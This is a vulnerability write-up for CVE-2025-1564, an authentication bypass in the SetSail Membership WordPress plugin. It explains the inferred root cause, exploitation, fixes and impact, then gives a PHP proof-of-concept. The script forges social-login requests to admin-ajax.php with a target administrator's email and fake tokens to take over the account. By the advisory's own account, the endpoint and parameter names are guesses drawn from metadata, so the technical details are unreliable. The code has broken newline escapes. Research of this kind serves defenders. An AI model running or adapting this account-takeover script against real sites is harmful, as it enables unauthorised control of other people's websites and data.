Atomic Edge analysis of CVE-2025-1564 (metadata-based):
This vulnerability allows unauthenticated attackers to bypass authentication in the SetSail Membership plugin for WordPress, versions up to and including 1.0.3. The plugin fails to properly verify a user’s identity during the social login process, enabling account takeover of any user, including administrators. With a CVSS score of 9.8 (Critical) and a CWE classification of Authentication Bypass Using an Alternate Path or Channel, this represents a complete compromise of the site’s user authentication mechanism.
Root Cause: The core issue lies in the social login implementation. Atomic Edge analysis infers from the CWE and description that the plugin likely trusts an external identity provider’s response (like Facebook, Google, or a generic OAuth provider) without verifying that the response actually comes from the expected provider and corresponds to a legitimate session. The plugin probably extracts an email address or user identifier from the social login callback and uses it directly to authenticate as an existing WordPress user without validating a cryptographic signature, token, or state parameter. This is a classic authentication bypass where an attacker can forge or replay a social login response with an arbitrary user identifier. Without access to the source code, we cannot confirm the exact mechanism, but the description strongly suggests a missing or improperly implemented verification step.
Exploitation: An attacker can exploit this vulnerability by sending a crafted HTTP request to the plugin’s social login callback endpoint. The likely endpoint is an AJAX handler accessible at /wp-admin/admin-ajax.php with an action parameter such as ‘setsail_membership_social_login’ or similar. The attacker would POST parameters including the target user’s email address or user ID, along with fabricated OAuth token data. Since the plugin does not validate the identity provider’s response, the server accepts the forged data and logs the attacker in as the specified user. The attack requires no authentication and no user interaction. The attacker can target any existing user, including administrators, effectively taking over their account.
Remediation: The fix requires implementing proper verification of the social login identity. Atomic Edge research indicates the plugin must validate the OAuth/OpenID Connect token with the provider’s token introspection endpoint, verify the token’s signature using the provider’s public key, check that the ‘state’ parameter matches the session to prevent CSRF, and ensure the returned email or identifier is tied to the authenticated provider session. The plugin should never trust user-supplied identity data without cryptographic proof from the provider. The patched version 1.1 likely implements these missing checks.
Impact: Successful exploitation grants the attacker complete control over the targeted user’s account. For administrator accounts, this means full site takeover: modifying themes and plugins, creating new admin users, exfiltrating the database, injecting malicious content, and potentially executing arbitrary PHP code through file editing or plugin installation. Even non-admin accounts can be leveraged for privilege escalation, data theft, or lateral movement within the site. The CVSS impact metrics (Confidentiality, Integrity, Availability all rated HIGH) confirm this is a full compromise scenario with no privileges required and no user interaction needed.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-1564 - SetSail Membership <= 1.0.3 - Authentication Bypass via Account Takeover
// WARNING: This script is for authorized security testing only.
// Unauthorized use against systems you do not own is illegal.
// Configuration
$target_url = 'http://example.com'; // Change to target WordPress site
$target_user_email = 'admin@example.com'; // Target user email to takeover
// Inferred vulnerable endpoint: admin-ajax.php with social login action
$ajax_url = rtrim($target_url, '/') . '/wp-admin/admin-ajax.php';
// The plugin likely uses an action like:
// - setsail_membership_social_login
// - setsail_membership_oauth_callback
// We'll attempt the most common pattern based on the plugin slug.
$actions_to_try = [
'setsail_membership_social_login',
'setsail_membership_oauth_login',
'setsail_membership_facebook_login',
'setsail_membership_google_login'
];
$found = false;
foreach ($actions_to_try as $action) {
echo "[*] Trying action: $actionn";
// Craft request with forged identity data
// The plugin likely expects an email or user_id from the social provider
$post_data = [
'action' => $action,
'email' => $target_user_email, // Target user's email to takeover
'provider' => 'facebook', // Arbitrary provider name
'id' => '12345', // Forged social provider user ID
'name' => 'Attacker Name',
'token' => 'forged_token_value', // Plugin may not verify token validity
'state' => 'random_state' // May lack CSRF state validation
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIE, ''); // No authentication needed
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_HEADER, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
$headers = substr($response, 0, $header_size);
$body = substr($response, $header_size);
curl_close($ch);
echo "[*] HTTP Status: $http_coden";
echo "[*] Response: " . substr($body, 0, 500) . "n";
// Check if we got authenticated session cookies
if (preg_match('/Set-Cookie: ([^;]+)/i', $headers, $matches)) {
echo "[+] Potential session cookie received: " . $matches[1] . "n";
$found = true;
}
// Check for success indicators in body (common WordPress patterns)
if (strpos($body, '"success":true') !== false ||
strpos($body, 'logged_in') !== false ||
strpos($body, 'redirect') !== false ||
strpos($body, 'user_id') !== false) {
echo "[+] Possible successful authentication bypass!n";
$found = true;
}
if ($found) break;
}
if (!$found) {
echo "[-] No vulnerable action found with this payload.n";
echo "[*] Try adjusting the email, id, or token parameters based on plugin behavior.n";
echo "[*] The exact parameter names must match the plugin's social login handler.n";
}